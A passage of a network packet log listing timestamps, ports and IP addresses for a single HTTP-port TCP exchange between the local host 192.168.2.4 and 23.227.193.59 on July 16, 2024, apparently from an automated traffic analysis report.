Jul 16, 2024 22:29:50.308554888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.308571100 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.308583021 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.308585882 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.308602095 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.308612108 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.308617115 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.308634043 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.308648109 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.308671951 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.309092045 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.309107065 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.309120893 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.309135914 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.309146881 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.309150934 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.309166908 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.309178114 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.309182882 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.309197903 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.309207916 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.309212923 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.309226036 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.309241056 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.309242964 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.309253931 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.309268951 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.309278965 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.309283972 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.309300900 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.309309006 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.309314966 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.309328079 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.309329987 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.309346914 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.309356928 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.309385061 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.310050011 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.310065985 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.310080051 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.310096025 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.310111046 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.310112000 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.310125113 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.310127974 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.310141087 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.310156107 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.310170889 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.310179949 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.310185909 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.310200930 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.310201883 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.310225964 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.310231924 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.310240984 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.310256004 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.310261965 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.310271978 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.310286999 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.310300112 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.310302019 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.310332060 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.310986996 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.311003923 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.311017990 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.311033010 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.311033964 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.311048985 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.311050892 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.311064005 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.311079025 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.311094046 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.311104059 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.311109066 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.311125040 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.311125040 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.311139107 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.311152935 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.311153889 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.311170101 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.311181068 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.311184883 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.311199903 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.311214924 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.311218977 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.311229944 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.311244965 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.311244965 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.311259985 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.311279058 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.311307907 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.311760902 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.311779022 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.311793089 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.311825037 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.353491068 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.396034956 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.396111012 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.396146059 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.396174908 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.396178961 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.396214962 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.396228075 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.396266937 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.396301985 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.396316051 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.396336079 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.396369934 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.396389961 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.396416903 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.396472931 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.396516085 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.396545887 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.396596909 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.396599054 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.396631956 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.396661043 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.396675110 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.396697044 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.396730900 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.396744013 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.396764040 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.396800041 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.396815062 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.396832943 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.396868944 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.396882057 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.397021055 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.397053957 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.397073984 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.397087097 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.397120953 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.397131920 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.397159100 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.397192001 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.397208929 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.397224903 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.397258043 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.397274971 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.397291899 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.397341967 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.397521973 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.397555113 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.397588968 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.397604942 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.397623062 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.397656918 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.397674084 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.397687912 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.397722960 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.397737026 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.397756100 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.397789001 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.397804022 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.397825956 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.397876978 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.397991896 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.398025990 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.398058891 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.398072958 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.398094893 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.398144007 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.398149014 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.398179054 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.398211956 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.398226023 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.398312092 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.398345947 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.398365021 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.398379087 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.398411989 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.398427010 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.398447037 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.398483038 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.398499966 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.398544073 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.398578882 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.398595095 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.398611069 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.398646116 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.398659945 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.398678064 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.398708105 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.398725033 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.398729086 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.398773909 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.399074078 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.399089098 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.399104118 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.399120092 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.399136066 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.399136066 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.399151087 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.399158955 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.399166107 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.399180889 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.399198055 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.399204969 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.399214029 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.399233103 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.399255037 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.399811029 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.399827003 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.399842024 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.399856091 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.399869919 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.399872065 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.399887085 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.399902105 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.399904966 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.399916887 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.399934053 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.399940968 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.399949074 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.399961948 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.399965048 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.399981022 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.399996996 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.400001049 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.400011063 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.400027037 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.400028944 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.400041103 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.400055885 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.400058031 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.400069952 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.400084972 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.400090933 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.400106907 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.400624037 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.400640011 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.400655985 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.400666952 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.400671959 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.400686979 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.400697947 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.400702953 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.400717974 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.400726080 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.400734901 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.400749922 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.400762081 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.400764942 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.400780916 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.400788069 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.400796890 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.400818110 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.401124001 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.401139975 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.401154995 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.401169062 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.401196957 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.401262045 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.401278019 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.401293039 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.401308060 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.401318073 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.401321888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.401335001 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.401336908 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.401352882 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.401367903 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.401381016 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.401385069 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.401396036 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.401407957 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.401415110 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.401429892 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.401439905 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.401482105 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.484849930 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.484889984 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.484929085 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.484946012 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.484981060 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.485014915 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.485034943 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.485048056 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.485084057 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.485097885 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.485162973 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.485213995 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.485213995 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.485246897 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.485280037 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.485291958 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.485316038 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.485363007 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.485445023 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.485479116 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.485528946 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.485544920 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.485579014 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.485624075 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.485627890 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.485656977 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.485691071 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.485701084 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.485723972 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.485773087 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.485863924 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.485898018 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.485932112 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.485941887 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.485960960 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.485992908 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.486006021 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.486027002 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.486057997 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.486072063 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.486090899 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.486125946 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.486141920 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.486232996 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.486263037 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.486282110 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.486294031 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.486326933 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.486341953 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.486360073 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.486393929 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.486407995 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.486428022 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.486459017 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.486474037 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.486490011 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.486524105 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.486536980 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.486723900 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.486752987 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.486768961 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.486788034 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.486819983 CEST	80	49730	23.227.193.59	192.168.2.4
